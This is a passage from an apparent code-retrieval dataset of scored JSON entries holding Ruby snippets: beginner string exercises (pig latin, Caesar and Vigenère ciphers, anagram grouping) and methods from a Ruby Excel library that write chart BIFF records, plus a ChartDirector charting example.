"2e2a8de0b73fe562e0ab38946f5f1a25", "score": "0.57620823", "text": "def pig_it(text)\n result = text.split.map do |word|\n if word =~ /[a-z]/i\n all_chars = word.chars\n first = all_chars.shift\n all_chars.join + first + 'ay' \n else\n word\n end\n end\n result.join(' ')\nend", "title": "" }, { "docid": "b251faf03c1a234365bb3db20441081f", "score": "0.57482857", "text": "def separate_numbers_and_letters\n gsub(/[a-z][0-9]|[0-9][a-z]/i) { |s| s[0].chr + ' ' + s[1].chr }\n end", "title": "" }, { "docid": "25f7e9d59e64ca8807b44340c91ac38c", "score": "0.5746795", "text": "def anagram_groups\n self.scan(/\\w+/).\n group_by{|w| w.downcase.each_char.sort}.\n values\n end", "title": "" }, { "docid": "37eb04955ac2688b5373fb50624b1eb9", "score": "0.57389295", "text": "def staggered_case(text, only_letters=true)\n result = ''\n need_upper = true\n text.each_char do |char|\n if char =~ /[a-z]/i\n result += ( need_upper ? char.upcase : char.downcase )\n need_upper = !need_upper\n else\n result += char\n need_upper = !need_upper if !only_letters\n end\n end\n result \nend", "title": "" }, { "docid": "589e51a3a14b683b73bb7f1f416e0995", "score": "0.57373506", "text": "def repeater(str)\nresult = []\nstr.split('').each do |letter|\nresult << letter * 2\nend\nresult.join(\"\")\nend", "title": "" }, { "docid": "596aa71878424c49993c03ced6450369", "score": "0.57308453", "text": "def tutnese str\n\tstr.strip!\n\tnewstr, letters, i = \"\", [], 0\n\twhile i < str.length\n\t\tletters.push(str[i])\n\t\ti += 1\n\tend\n\n\ti = 0\n\twhile i < letters.length\n\t\tif letters[i] == letters[i + 1]\n\t\t\tif is_vowel? letters[i]\n\t\t\t\tnewstr << \"squat\" + letters[i]\n\t\t\telse\n\t\t\t\tnewstr << \"squa\" + tutnese_letter(letters[i])\n\t\t\tend\n\t\t\ti += 1\n\t\telse\n\t\t\tnewstr << tutnese_letter(letters[i])\n\t\tend\n\t\ti += 1\n\tend\n\n\tnewstr\nend", "title": "" }, { "docid": "82dfc2f2b5541c1719b73652a7d8c9fa", "score": "0.57216907", "text": "def caesar_cipher phrase, shift\n letters = phrase.split(\"\")\n encrypted_letters = []\n\n letters.each {|letter|\n #if letter is upper case, if letter+shift > Z, add difference to A.ord\n if ('a'..'z') === letter \n\n if letter.ord+shift > 122\n encrypted_letters.push( (letter.ord+shift-122+96).chr )\n else\n encrypted_letters.push((letter.ord+shift).chr)\n end\n\n elsif ('A'..'Z') === letter\n \n if letter.ord+shift > 90\n encrypted_letters.push( (letter.ord+shift-90+64).chr )\n else\n encrypted_letters.push((letter.ord+shift).chr)\n end\n else\n encrypted_letters.push(letter) \n end\n }\n encrypted_letters.join\n\nend", "title": "" }, { "docid": "e451d4043c281ce5437aa22a6091c63d", "score": "0.57202023", "text": "def encode_2(plaintext, key)\n cipher = key.chars.uniq + (('a'...'z').to_a - key.chars)\n ciphertext_chars = plaintext.chars.map do |char|\n (65 + cipher.find_index(char)).chr\n end\n ciphertext_chars.join\n end", "title": "" }, { "docid": "25c3b606a31c116d9b3c8f68e062fcf0", "score": "0.57151943", "text": "def group_anagrams(strs)\n strs.group_by { |s| s.chars.sort }.values\nend", "title": "" }, { "docid": "58da5c0e9961ed127acd66935d9d2d31", "score": "0.571227", "text": "def letters\n {\n 2 => ['a', 'b', 'c'],\n 3 => ['d', 'e', 'f'],\n 4 => ['g', 'h', 'i'],\n 5 => ['j', 'k', 'l'],\n 6 => ['m', 'n', 'o'],\n 7 => ['p', 'q', 'r', 's'],\n 8 => ['t', 'u', 'v'],\n 9 => ['w', 'x', 'y', 'z'],\n }.freeze\n end", "title": "" }, { "docid": "7f757f990a00142f9803fc2f57798a0d", "score": "0.57056296", "text": "def combine_anagrams(words)\r\n list = words.group_by { |w| w.downcase.chars.sort }\r\n return list.values\r\nend", "title": "" }, { "docid": "bc02571c262e4ebb82b20c390934b1b4", "score": "0.57047534", "text": "def encrypt(name)\n name = name.downcase\n array = name.split(//)\n\n a1 = (\"a\"..\"z\").to_a\n a2 = (\"b\"..\"z\").to_a\n a2.push(\"a\")\n\n h1 = Hash[a1.zip a2]\n\n array.map! do |x|\n h1[x]\n end\n\n array = array.join.capitalize\n p array\nend", "title": "" }, { "docid": "b910b03ab64d43a25fe365fe5014bd33", "score": "0.569859", "text": "def letter_combinations_of_a_phone_number(str_of_numbers)\n i = 0\n letter_combinations = []\n letters_1 = NUMBERS_TO_KEYS[str_of_numbers[i]] # \"abc\"\n letters_2 = NUMBERS_TO_KEYS[str_of_numbers[i+1]] # \"def\"\n while (i < letters_1.length) do # 0<3\n j = 0\n while (j < letters_2.length) do\n letter_combinations << \"#{letters_1[i]}#{letters_2[j]}\" # \"ad\", \"ae\", \"af\"\n puts \"Adding '#{letters_1[i]}#{letters_2[j]}'. NOTE: i = #{i}, j = #{j}\"\n j += 1\n end\n i += 1\n end\n letter_combinations\nend", "title": "" }, { "docid": "c38db07e41664293761533ab0be9ffd2", "score": "0.5695407", "text": "def EncrpytWithSubstitution(plaintext,key)\n encryptedText = \"\"\n key = IncreaseKey(key,plaintext)\n i = 0\n while i<plaintext.size\n #Con cada uno de los caracteres de plaintext y su caracter de\n #key correspondiente, se obtiene el caracter encriptado y se\n #concatena en encryptedText\n encryptedText+=GetCharEncrypted(plaintext[i,1],key[i,1]).to_s\n i+=1\n end\n return encryptedText\n end", "title": "" }, { "docid": "8f93cecddaef36aa1d7bd045e446cc57", "score": "0.56941277", "text": "def duplicate_encode(word)\n word_array = word.downcase.split('')\n letter_list = {}\n output = []\n \n #Counting up letters\n word_array.each do |letter|\n \n if letter_list.has_key? letter\n letter_list[letter] += 1\n else\n letter_list[letter] = 1\n end\n \n end\n \n # Creating output\n word_array.each do |letter|\n if letter_list[letter] > 1\n output << \")\"\n else\n output << \"(\"\n end\n end\n \n output.join('')\nend", "title": "" }, { "docid": "47cec46c641de1d51271803284a863a6", "score": "0.5693599", "text": "def vigenere_cipher(msg, keys)\n alpha = (\"a\"..\"z\").to_a\n new_msg = \"\"\n\n msg.each_char.with_index do |char, i|\n old_idx = alpha.index(char)\n new_idx = (old_idx + keys[i % keys.length]) % 26\n new_msg += alpha[new_idx]\n end\n new_msg\nend", "title": "" }, { "docid": "4819c7cb28b35629aafa13c2a82a0864", "score": "0.56926465", "text": "def caesar_cipher(string, key)\n alphabet = ('a'..'z') #wrap z to a\n letters = string.split(\"\")\n # p letters\n\n letters.map do |letter|\n if alphabet.include? (letter.downcase)\n key.times {letter = letter.next}\n end\n print letter[-1]\n end\nend", "title": "" }, { "docid": "99bdef3c7e499822f52e6d8da81dbbc3", "score": "0.56925416", "text": "def combine_anagrams(words)\n groups = Hash.new []\n words.each do |w|\n key = w.downcase.chars.sort.join.to_sym\n groups[key] += [w]\n end\n groups.values\nend", "title": "" }, { "docid": "da139b6d0df8c81a9c597c221490f6a7", "score": "0.56923425", "text": "def group_anagrams(strs)\n strs.group_by { |s| s.chars.sort }.values.map(&:sort)\nend", "title": "" }, { "docid": "09ed6fec114a1c7be652e12719186a41", "score": "0.56909156", "text": "def encrypt(word)\n msg = \" abcdefghijklmnopqrstuvwxyza \".split(\"\")\n index = 0 \n while index < word.length\n location = msg.index(word[index])\n word[index] = msg[location+1]\n index += 1\n end\n word\nend", "title": "" }, { "docid": "1b6a4e7ca2701f26f20c2dd9976293b6", "score": "0.56878567", "text": "def caesar_cipher(str, shift) # 3 times \n alpha = (\"a\"..\"z\").to_a \n encrypted = \"\"\n\n str.split(\"\").each do |char|\n if char == \" \"\n encrypted += \" \"\n next \n end\n\n idx = alpha.index(char)\n shifted = (idx + shift) % alpha.count \n encrypted += alpha[shifted]\n end\n\n encrypted\nend", "title": "" }, { "docid": "cd864ddbfd36984dd24417b00dbfadf6", "score": "0.56857014", "text": "def encrypt(password)\n next_string = \"\" #adds space to beginning of message\n i = 0\n while i < password.length\n if password[i] == \"z\"\n next_string << \"a\"\n elsif password[i] == \" \"\n next_string << \" \"\n else\n next_string << password[i].next\n end\n i += 1\n end\n next_string\nend", "title": "" }, { "docid": "897719c7f4c3717b822b03c756f336b5", "score": "0.5685267", "text": "def combine_anagrams(words)\n\tlist = {}\n for word in words\n letters = word.downcase.scan(/./).sort.join\n if list[letters] == nil\n list[letters] = [word]\n else\n list[letters] << word\n end\n end\n \n groups = []\n\tlist.each do |letters,words|\n\t\tgroups << words\n\tend\n\t\n\treturn groups\nend", "title": "" }, { "docid": "c5ba3c1585ad70aa64fabe44ed420eb3", "score": "0.5684422", "text": "def ciphertext\n plaintext_segments.map { |x| (\"%-#{size}s\" % x).split(\"\") }.transpose.flatten.join.gsub(\" \", \"\")\n end", "title": "" }, { "docid": "dfd68028058928bf4cac7e8059a4a037", "score": "0.5684176", "text": "def vigenere_cipher(message, keys)\n new_str = ''\n alphabet = ('a'..'z').to_a\n\n message.each_char.with_index do |char, idx|\n start_pos = alphabet.index(char)\n new_pos = start_pos + keys[idx % keys.length]\n new_str += alphabet[new_pos % alphabet.length]\n end\n new_str\nend", "title": "" }, { "docid": "b19e7021d36089f309600feca3311b50", "score": "0.5681194", "text": "def piglatinize(phrase)\n array = phrase.split(\" \")\n array.map do |word|\n letters = word.split(\"\")\n #binding.pry\n if !letters.first.scan(/[bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ]/).empty? && !letters[1].scan(/[bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ]/).empty? && !letters[2].scan(/[bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ]/).empty? \n #binding.pry\n c = letters.shift \n letters << c\n d = letters.shift \n letters << d\n e = letters.shift \n letters << e\n letters << \"ay\"\n letters.join\n elsif !letters.first.scan(/[bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ]/).empty? && !letters[1].scan(/[bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ]/).empty? \n c = letters.shift \n letters << c \n d = letters.shift \n letters << d \n letters << \"ay\"\n letters.join\n elsif !letters.first.scan(/[bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ]/).empty? \n c = letters.shift \n letters << c\n letters << \"ay\"\n letters.join\n else\n letters << \"way\"\n letters.join\n end\n end.join(\" \")\n end", "title": "" }, { "docid": "0a6a87e517e492dadf0f33d622324d3a", "score": "0.56766886", "text": "def encrypt(text, n)\n odds = ''\n evens = ''\n\n n.times do \n text.chars.each_with_index do |item, index|\n if index.odd?\n odds << item\n else\n evens << item\n end\n end\n\n text = odds << evens\n odds = ''\n evens = ''\n end\n\n text\nend", "title": "" }, { "docid": "ed65e0d6ed2d3d9533a8e427da6b6b16", "score": "0.5675614", "text": "def group_anagrams(strs)\n strs.group_by { |str| str.chars.sort }.values\nend", "title": "" } ]
1a739f2d120b1beab773fbdb3a8ec10b
Write the DATAFORMAT chart BIFF record. This record specifies the series that the subsequent sub stream refers to.
[ { "docid": "9d0a4e6a0708b417dff6262c6add44d0", "score": "0.5792583", "text": "def store_dataformat(series_index, series_number, point_number) # :nodoc:\n record = 0x1006 # Record identifier.\n length = 0x0008 # Number of bytes to follow.\n # series_index # Series index.\n # series_number # Series number. (Same as index).\n # point_number # Point number.\n grbit = 0x0000 # Format flags.\n\n store_simple(record, length, point_number, series_index, series_number, grbit)\n end", "title": "" } ]
[ { "docid": "f546ba7c9c78558d95a0b4e1ed3df046", "score": "0.70142883", "text": "def store_chartformat_stream # :nodoc:\n # The _vary_data_color is set by classes that need it, like Pie.\n store_chartformat(@vary_data_color)\n\n store_begin\n\n # Store the BIFF record that will define the chart type.\n store_chart_type\n\n # Note, the CHARTFORMATLINK record is only written by Excel.\n\n if @legend[:visible] != 0\n store_legend_stream\n end\n\n store_marker_dataformat_stream\n store_end\n end", "title": "" }, { "docid": "a015a5699c03ec6c131c3c47cd0469ef", "score": "0.6359344", "text": "def store_dataformat_stream(series_index) # :nodoc:\n store_dataformat(series_index, series_index, 0xFFFF)\n\n store_begin\n store_3dbarshape\n store_end\n end", "title": "" }, { "docid": "005e868bf011d9e4cd6d90418d5c0961", "score": "0.61143506", "text": "def store_chartformat(grbit = 0) # :nodoc:\n record = 0x1014 # Record identifier.\n length = 0x0014 # Number of bytes to follow.\n reserved1 = 0x00000000 # Reserved.\n reserved2 = 0x00000000 # Reserved.\n reserved3 = 0x00000000 # Reserved.\n reserved4 = 0x00000000 # Reserved.\n # grbit # Option flags.\n icrt = 0x0000 # Drawing order.\n\n header = [record, length].pack('vv')\n data = [reserved1].pack('V')\n data += [reserved2].pack('V')\n data += [reserved3].pack('V')\n data += [reserved4].pack('V')\n data += [grbit].pack('v')\n data += [icrt].pack('v')\n\n append(header, data)\n end", "title": "" }, { "docid": "215545fed1dc5e16bee9b6c99cbf4416", "score": "0.5937935", "text": "def store_chart_binary(chart) #:nodoc:\n if chart.respond_to?(:to_str)\n filehandle = File.open(chart, \"rb\")\n # die \"Couldn't open $filename in add_chart_ext(): $!.\\n\";\n while tmp = filehandle.read(4096)\n append(tmp)\n end\n else\n chart.close\n tmp = chart.get_data\n append(tmp)\n end\n end", "title": "" }, { "docid": "954c9219224ec7278636895fe062d6fd", "score": "0.58852094", "text": "def write_series\n # Write each series with subelements.\n index = 0\n @series.each do |series|\n write_ser(index, series)\n index += 1\n end\n\n # Write the c:hiLowLines element.\n write_hi_low_lines\n\n # Write the c:marker element.\n write_marker_value\n\n # Generate the axis ids.\n add_axis_id\n add_axis_id\n\n # Write the c:axId element.\n write_axis_id(@axis_ids[0])\n write_axis_id(@axis_ids[1])\n end", "title": "" }, { "docid": "23f574af12f38a88877314534529ca80", "score": "0.5825451", "text": "def store_chart(x_pos, y_pos, dx, dy) # :nodoc:\n record = 0x1002 # Record identifier.\n length = 0x0010 # Number of bytes to follow.\n # x_pos # X pos of top left corner.\n # y_pos # Y pos of top left corner.\n # dx # X size.\n # dy # Y size.\n\n header = [record, length].pack('vv')\n data = [x_pos].pack('V')\n data += [y_pos].pack('V')\n data += [dx].pack('V')\n data += [dy].pack('V')\n\n append(header, data)\n end", "title": "" }, { "docid": "7a510c58602b620f68d469ea8b551d12", "score": "0.5786664", "text": "def save!\n write_multi do |multi|\n multi.add(series_name, data)\n end\n end", "title": "" }, { "docid": "59a1b72fe675345c2ba39cea7ced8799", "score": "0.5598213", "text": "def store_chartline # :nodoc:\n record = 0x101C # Record identifier.\n length = 0x0002 # Number of bytes to follow.\n type = 0x0001 # Drop/hi-lo line type.\n\n store_simple(record, length, type)\n end", "title": "" }, { "docid": "16e5c69d285658ae4f91ff6874c42cd3", "score": "0.5582488", "text": "def store_chart_stream # :nodoc:\n store_chart(*@config[:chart])\n store_begin\n\n # Store the chart SCL record.\n store_plotgrowth\n\n if @chartarea[:visible] != 0\n store_chartarea_frame_stream\n end\n\n # Store SERIES stream for each series.\n index = 0\n @series.each do |series|\n store_series_stream(\n :index => index,\n :value_formula => series[:values][0],\n :value_count => series[:values][1],\n :category_count => series[:categories][1],\n :category_formula => series[:categories][0],\n :name => series[:name],\n :name_encoding => series[:name_encoding],\n :name_formula => series[:name_formula]\n )\n index += 1\n end\n\n store_shtprops\n\n # Write the TEXT streams.\n (5..6).each do |font_index|\n store_defaulttext\n store_series_text_stream(font_index)\n end\n\n store_axesused(1)\n store_axisparent_stream\n\n if !@title_name.nil? || !@title_formula.nil?\n store_title_text_stream\n end\n\n store_end\n end", "title": "" }, { "docid": "96e8f8b2949fe016442d39083a475bb3", "score": "0.5492422", "text": "def write_ser(series)\n @writer.tag_elements('c:ser') do\n write_ser_base(series)\n # Write the c:xVal element.\n write_x_val(series)\n # Write the c:yVal element.\n write_y_val(series)\n # Write the c:smooth element.\n if @subtype =~ /smooth/ && !series.smooth\n write_c_smooth(1)\n else\n write_c_smooth(series.smooth)\n end\n end\n @series_index += 1\n end", "title": "" }, { "docid": "40762f61520a40cb90cd1ef89b204b22", "score": "0.5468874", "text": "def writeOut\n\t\t# No idea about next line\n\t\t@@au.data = @@wave #@@wave.slice(0..@@wave.length/2)\n\t\t@@au.ds = @@wave.bytesize\n\t\t@@au.write(@@io)\n\tend", "title": "" }, { "docid": "c16d4127bd5c78998bff951932180264", "score": "0.5456866", "text": "def store_sertocrt # :nodoc:\n record = 0x1045 # Record identifier.\n length = 0x0002 # Number of bytes to follow.\n chartgroup = 0x0000 # Chart group index.\n\n store_simple(record, length, chartgroup)\n end", "title": "" }, { "docid": "d4ecd4d00785d5e19842d5a46f41d5c1", "score": "0.5448693", "text": "def store_marker_dataformat_stream # :nodoc:\n store_dropbar\n store_begin\n store_lineformat(0x00000000, 0x0000, 0xFFFF, 0x0001, 0x004F)\n store_areaformat(0x00FFFFFF, 0x0000, 0x01, 0x01, 0x09, 0x08)\n store_end\n\n store_dropbar\n store_begin\n store_lineformat(0x00000000, 0x0000, 0xFFFF, 0x0001, 0x004F)\n store_areaformat(0x0000, 0x00FFFFFF, 0x01, 0x01, 0x08, 0x09)\n store_end\n\n store_chartline\n store_lineformat(0x00000000, 0x0000, 0xFFFF, 0x0000, 0x004F)\n\n\n store_dataformat(0x0000, 0xFFFD, 0x0000)\n store_begin\n store_3dbarshape\n store_lineformat(0x00000000, 0x0005, 0xFFFF, 0x0000, 0x004F)\n store_areaformat(0x00000000, 0x0000, 0x00, 0x01, 0x4D, 0x4D)\n store_pieformat\n store_markerformat(0x00, 0x00, 0x00, 0x00, 0x4D, 0x4D, 0x3C)\n store_end\n end", "title": "" }, { "docid": "07a8a2640281a353168c696963631789", "score": "0.5394265", "text": "def write_chart_type\n # Write the c:areaChart element.\n write_stock_chart\n end", "title": "" }, { "docid": "a1f84131200206a8ef13014398ba2a80", "score": "0.5383564", "text": "def write_chart_type(params)\n # Write the c:barChart element.\n write_line_chart(params)\n end", "title": "" }, { "docid": "c821c77682b59098b050376c095d52b7", "score": "0.53439546", "text": "def emit_getdata(chart)\n @tmpfile << \"#proc getdata\\ndata:\\n\"\n chart.dataset.series.first.data.each do |e|\n# @tmpfile << e[:chron].value << \"\\t\" << e[:measure].value << \"\\n\"\n @tmpfile << e[:chron].value << \"\\t\" << e[:measure] << \"\\n\"\n end\n @tmpfile << \"\\nfieldnames: chron measure\\n\\n\"\n end", "title": "" }, { "docid": "147c6588856a417a8703d46601fdf087", "score": "0.5318256", "text": "def save_charts filename\n\t\t#offload happens in .csv to avoid adding gems\n\t\tFile.open(filename, 'w') do |file| \n\t\t\tfile.puts(\"generation;#{([email protected]).to_a.join(\";\")};\" ) \n\t\t\t@evolution_record.each.with_index(1) do |record_line, line_number|\n\t\t\t\tfile.puts(\"#{line_number};#{record_line.join(\";\")};\")\n\t\t\tend\t\t\t\n\t\tend\n\tend", "title": "" }, { "docid": "f331c37cabcb90708880c50c65dd7f76", "score": "0.5257399", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"categoryAxis\", @category_axis)\n writer.write_object_value(\"seriesAxis\", @series_axis)\n writer.write_object_value(\"valueAxis\", @value_axis)\n end", "title": "" }, { "docid": "e22cbd33ebd73026ab8c2c649c3036d7", "score": "0.522335", "text": "def write \n @graphs.each{|gr| gr.Write} \n @histos.each{|h| h.Write}\n end", "title": "" }, { "docid": "5525280c3bc2ddaf9950edf022512dc4", "score": "0.5198485", "text": "def store_chart_type # :nodoc:\n record = 0x1018 # Record identifier.\n length = 0x0002 # Number of bytes to follow.\n grbit = 0x0000 # Option flags.\n\n store_simple(record, length, grbit)\n end", "title": "" }, { "docid": "70a9e26af0bd4021c0b80a44c2ea1d9c", "score": "0.51935494", "text": "def write_chart_type(params)\n # Write the c:barChart element.\n write_bar_chart(params)\n end", "title": "" }, { "docid": "505c72276226034a3d2d97d2870905df", "score": "0.51867616", "text": "def write \n @graphs.each{|gr| gr.Write}\n @histos.each{|h| h.Write}\n end", "title": "" }, { "docid": "505c72276226034a3d2d97d2870905df", "score": "0.51867616", "text": "def write \n @graphs.each{|gr| gr.Write}\n @histos.each{|h| h.Write}\n end", "title": "" }, { "docid": "7f5628b25a49d8362a54aa7618827b6f", "score": "0.51823926", "text": "def write \n @graphs.each{|gr| gr.Write} \n @histos.each{|h| h.Write}\n end", "title": "" }, { "docid": "7f5628b25a49d8362a54aa7618827b6f", "score": "0.51823926", "text": "def write \n @graphs.each{|gr| gr.Write} \n @histos.each{|h| h.Write}\n end", "title": "" }, { "docid": "57a7b324bdb4c557ae04cc5fe5752373", "score": "0.5135418", "text": "def store_charts #:nodoc:\n # Skip this if there aren't any charts.\n return if charts_size == 0\n\n record = 0x00EC # Record identifier\n\n charts = @charts.array\n\n charts.each_index do |i|\n data = ''\n if i == 0 && images_size == 0\n dg_length = 192 + 120 * (charts_size - 1) + 96 * filter_count + 128 * comments_size\n spgr_length = dg_length - 24\n\n # Write the parent MSODRAWIING record.\n data += store_parent_mso_record(dg_length, spgr_length, @object_ids.spid)\n @object_ids.spid += 1\n end\n data += store_mso_sp_container_sp(@object_ids.spid)\n data += store_mso_opt_chart_client_anchor_client_data(*charts[i].vertices)\n length = data.bytesize\n header = [record, length].pack(\"vv\")\n append(header, data)\n\n store_obj_chart(images_size + i + 1)\n store_chart_binary(charts[i].chart)\n @object_ids.spid += 1\n end\n\n # Simulate the EXTERNSHEET link between the chart and data using a formula\n # such as '=Sheet1!A1'.\n # TODO. Won't work for external data refs. Also should use a more direct\n # method.\n #\n store_formula(\"='#{@name}'!A1\")\n end", "title": "" }, { "docid": "7f98ac1d820528abc39a247de93ecfc7", "score": "0.51164997", "text": "def write_data(io, record)\n struct = to_bindata_struct\n\n record[:fields].each do |name, field|\n struct[field[:definition].number] = field[:value]\n\n Log.encode [self.class, __method__],\n pos: io.pos,\n field: field[:definition].to_log_s(field[:value])\n end\n\n struct.write(io)\n end", "title": "" }, { "docid": "13dafacb5a7fcf52d82d089c243d712c", "score": "0.5114124", "text": "def store_chartarea_frame_stream # :nodoc:\n store_area_frame_stream_common(:chart)\n end", "title": "" }, { "docid": "a5bd3359af8ca59f0d7813242cfd57cf", "score": "0.5107522", "text": "def emit_barsdef(chart)\n @tmpfile << <<_EOT_\n#proc bars\nlocfield: chron\nlenfield: measure\nbarwidth: 0.25\noutline: no\ncrossover: 0\n_EOT_\n end", "title": "" }, { "docid": "4c575281d06879d908c6784faf93766b", "score": "0.5081764", "text": "def store_chart_type # :nodoc:\n record = 0x1017 # Record identifier.\n length = 0x0006 # Number of bytes to follow.\n pcOverlap = 0x0000 # Space between bars.\n pcGap = 0x0096 # Space between cats.\n grbit = 0x0000 # Option flags.\n\n store_simple(record, length, pcOverlap, pcGap, grbit)\n end", "title": "" }, { "docid": "c8f04bb31d97e8e682181652c9b7bad3", "score": "0.50775397", "text": "def store_3dbarshape # :nodoc:\n record = 0x105F # Record identifier.\n length = 0x0002 # Number of bytes to follow.\n riser = 0x00 # Shape of base.\n taper = 0x00 # Column taper type.\n\n header = [record, length].pack('vv')\n data = [riser].pack('C')\n data += [taper].pack('C')\n\n append(header, data)\n end", "title": "" }, { "docid": "b0c66ded8f401c71b7f0e39516e6c13f", "score": "0.5077163", "text": "def store_obj_chart(obj_id) #:nodoc:\n obj_type = 0x0005 # Object type (chart).\n\n options = 0x6011\n reserved = 0x0000\n\n # Add ftCmo (common object data) subobject\n sub_record = 0x0015 # ftCmo\n sub_length = 0x0012\n sub_data = [obj_type, obj_id, options, reserved, reserved, reserved].pack('vvvVVV')\n data = [sub_record, sub_length].pack('vv') + sub_data\n\n # Add ftEnd (end of object) subobject\n sub_record = 0x0000 # ftNts\n sub_length = 0x0000\n data += [sub_record, sub_length].pack('vv')\n\n # Pack the record.\n record = 0x005D # Record identifier\n length = 0x001A # Bytes to follow\n header = [record, length].pack('vv')\n\n append(header, data)\n\n end", "title": "" }, { "docid": "e60ee11ccaa5c2c8db6f8d42860e1d90", "score": "0.50595206", "text": "def store_charttext # :nodoc:\n record = 0x1025 # Record identifier.\n length = 0x0020 # Number of bytes to follow.\n horz_align = 0x02 # Horizontal alignment.\n vert_align = 0x02 # Vertical alignment.\n bg_mode = 0x0001 # Background display.\n text_color_rgb = 0x00000000 # Text RGB colour.\n text_x = 0xFFFFFF46 # Text x-pos.\n text_y = 0xFFFFFF06 # Text y-pos.\n text_dx = 0x00000000 # Width.\n text_dy = 0x00000000 # Height.\n grbit1 = 0x00B1 # Options\n text_color_index = 0x004D # Auto Colour.\n grbit2 = 0x0000 # Data label placement.\n rotation = 0x0000 # Text rotation.\n\n header = [record, length].pack('vv')\n data = [horz_align].pack('C')\n data += [vert_align].pack('C')\n data += [bg_mode].pack('v')\n data += [text_color_rgb].pack('V')\n data += [text_x].pack('V')\n data += [text_y].pack('V')\n data += [text_dx].pack('V')\n data += [text_dy].pack('V')\n data += [grbit1].pack('v')\n data += [text_color_index].pack('v')\n data += [grbit2].pack('v')\n data += [rotation].pack('v')\n\n append(header, data)\n end", "title": "" }, { "docid": "09a6d240382319926ce57a9cb3031f43", "score": "0.5040698", "text": "def write_chart_files\n write_chart_or_drawing_files(@workbook.charts, 'chart')\n end", "title": "" }, { "docid": "8f878916f88e7037f415de1f05df98d0", "score": "0.5038512", "text": "def write_chart_type\n # Write the c:areaChart element.\n write_area_chart\n end", "title": "" }, { "docid": "ba4f071868792d0d51a849ec6ea6b06e", "score": "0.5025622", "text": "def write_chart_type\n # Write the c:areaChart element.\n write_pie_chart\n end", "title": "" }, { "docid": "9a625f77f3bdc4c57e0298175838b920", "score": "0.50227827", "text": "def getchart()\n # The data for the chart\n dataY = [1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1]\n dataX = [Time.mktime(2008, 7, 1, 0, 0, 0), Time.mktime(2008, 7, 1, 2, 17, 2),\n Time.mktime(2008, 7, 1, 8, 5, 30), Time.mktime(2008, 7, 1, 10, 54, 10),\n Time.mktime(2008, 7, 1, 15, 40, 0), Time.mktime(2008, 7, 1, 18, 22, 20),\n Time.mktime(2008, 7, 1, 22, 17, 14), Time.mktime(2008, 7, 2, 2, 55, 50),\n Time.mktime(2008, 7, 2, 8, 17, 14), Time.mktime(2008, 7, 2, 11, 55, 50),\n Time.mktime(2008, 7, 2, 13, 17, 14), Time.mktime(2008, 7, 2, 17, 55, 50),\n Time.mktime(2008, 7, 2, 20, 17, 14), Time.mktime(2008, 7, 3, 0, 0, 0)]\n\n # In this example, we only use position 1, 3, 5 for the data series. Positions 0,\n # 2, 4, 6 are empty and serve as gaps.\n labels = [\"\", \"ON Only Filling\", \"\",\n \"<*font,color=cc2200*>ON<*/font*> / <*font,color=00aa22*>OFF<*/font*> \" \\\n \"Filling\", \"\", \"Logic Line\", \"\"]\n\n # Create a XYChart object of size 600 x 180 pixels\n c = ChartDirector::XYChart.new(600, 180)\n\n # Add a title to the chart using 10 points Arial Bold font. Set top/bottom margins\n # to 12 pixels.\n title = c.addTitle(\"Binary Data Series Demonstration\", \"arialbd.ttf\", 10)\n\n # Tentatively set the plotarea at (100, 30) and of size 470 x 120 pixels. Use\n # transparent border. Use grey (888888) solid line and light grey (ccccc) dotted\n # line as major and minor vertical grid lines.\n c.setPlotArea(100, 30, 470, 120, -1, -1, ChartDirector::Transparent).setGridColor(\n ChartDirector::Transparent, 0x888888, ChartDirector::Transparent,\n c.dashLineColor(0xcccccc, ChartDirector::DotLine))\n\n # Set axes to transparent\n c.xAxis().setColors(ChartDirector::Transparent)\n c.yAxis().setColors(ChartDirector::Transparent)\n\n # Set the y axis labels\n c.yAxis().setLabels(labels)\n\n # Set y-axis label style to 8pts Arial Bold\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\n\n # Set x-axis major and minor tick density to 50 and 5 pixels. ChartDirector\n # auto-scaling will use this as the guideline when putting ticks on the x-axis.\n c.xAxis().setTickDensity(50, 5)\n\n # Use \"<*font=Arial Bold*>{value|mmm dd}\" for the first label of an hour, and\n # \"{value|hh:nn}\" for all other labels.\n c.xAxis().setMultiFormat(ChartDirector::StartOfDayFilter(),\n \"<*font=arialbd.ttf*>{value|mmm dd}\", ChartDirector::AllPassFilter(),\n \"{value|hh:nn}\")\n\n #\n # A Logic Line can be achieved using a StepLineLayer in ChartDirector\n #\n\n # Shift the data by 4.5, so instead of 0 - 1, it is now 4.5 to 5.5, or fluctuate\n # around the y = 5 (Logic Line label) position.\n shiftedLine0 = ChartDirector::ArrayMath.new(dataY).add(4.5).result()\n\n # Add step lines using the original and the reversed data\n layer0 = c.addStepLineLayer(shiftedLine0, 255)\n layer0.setXData(dataX)\n\n #\n # To perform ON/OFF filling, we draw the logic line, and its reverse, and fill the\n # region in between\n #\n\n # Shift the data by 2.5, so instead of 0 - 1, it is now 2.5 to 3.5, or fluctuate\n # around the y = 3 (ON/OFF Filing label) position.\n shiftedLine1 = ChartDirector::ArrayMath.new(dataY).add(2.5).result()\n # Reverse the data, so the 0 becomes 1 and 1 becomes 0, and shift it as well.\n reverseShiftedLine1 = ChartDirector::ArrayMath.new(dataY).mul(-1).add(3.5).result(\n )\n\n # Add step lines using the original and the reversed data\n layer1 = c.addStepLineLayer(shiftedLine1, ChartDirector::Transparent)\n layer1.addDataSet(reverseShiftedLine1, ChartDirector::Transparent)\n layer1.setXData(dataX)\n\n # Fill the region between the two step lines with green (00aa22) or red (cc2200),\n # depending on whether the original or the reserve is higher.\n c.addInterLineLayer(layer1.getLine(0), layer1.getLine(1), 0x00aa22, 0xcc2200)\n\n #\n # The ON Only filling is the same as ON/OFF filling, except the OFF filling color\n # is transparent\n #\n\n # Shift the data by 0.5, so instead of 0 - 1, it is now 0.5 to 1.5, or fluctuate\n # around the y = 1 (ON Only Filing label) position.\n shiftedLine2 = ChartDirector::ArrayMath.new(dataY).add(0.5).result()\n # Reverse the data, so the 0 becomes 1 and 1 becomes 0, and shift 